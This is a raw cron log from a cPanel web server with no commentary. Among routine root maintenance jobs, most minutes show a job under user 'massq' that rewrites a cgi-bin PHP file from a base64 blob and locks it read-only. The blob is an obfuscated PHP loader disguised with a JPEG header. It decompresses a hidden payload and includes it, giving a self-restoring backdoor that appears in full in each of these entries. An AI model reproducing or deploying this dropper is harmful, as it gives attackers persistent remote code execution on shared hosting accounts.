Sep  9 23:38:01 server CROND[763]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 23:38:01 server CROND[765]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 23:39:01 server CROND[1319]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  9 23:39:01 server CROND[1320]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 23:39:01 server CROND[1321]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 23:39:01 server CROND[1322]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 23:40:01 server CROND[1721]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  9 23:40:01 server CROND[1722]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 23:40:01 server CROND[1724]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 23:40:01 server CROND[1725]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  9 23:40:01 server CROND[1727]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 23:40:01 server CROND[1726]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 23:40:01 server CROND[1728]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 23:40:01 server CROND[1729]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  9 23:41:01 server CROND[2579]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 23:41:01 server CROND[2580]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 23:41:01 server CROND[2581]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 23:42:01 server CROND[2981]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 23:42:01 server CROND[2982]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 23:42:01 server CROND[2983]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  9 23:42:01 server CROND[2984]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 23:43:01 server CROND[3356]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 23:43:01 server CROND[3357]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 23:43:01 server CROND[3358]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 23:44:01 server CROND[3721]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 23:44:01 server CROND[3722]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 23:44:01 server CROND[3723]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 23:45:01 server CROND[4095]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  9 23:45:01 server CROND[4096]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 23:45:01 server CROND[4113]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 23:45:01 server CROND[4114]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 23:45:01 server CROND[4109]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 23:45:01 server CROND[4110]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 23:45:01 server CROND[4115]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  9 23:46:01 server CROND[5016]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 23:46:01 server CROND[5017]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 23:46:01 server CROND[5018]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 23:47:01 server CROND[5382]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 23:47:01 server CROND[5383]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 23:47:01 server CROND[5381]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 23:48:01 server CROND[5769]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 23:48:01 server CROND[5770]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 23:48:01 server CROND[5771]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 23:49:01 server CROND[6154]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 23:49:01 server CROND[6155]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 23:49:01 server CROND[6156]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 23:50:01 server CROND[6547]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  9 23:50:01 server CROND[6550]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
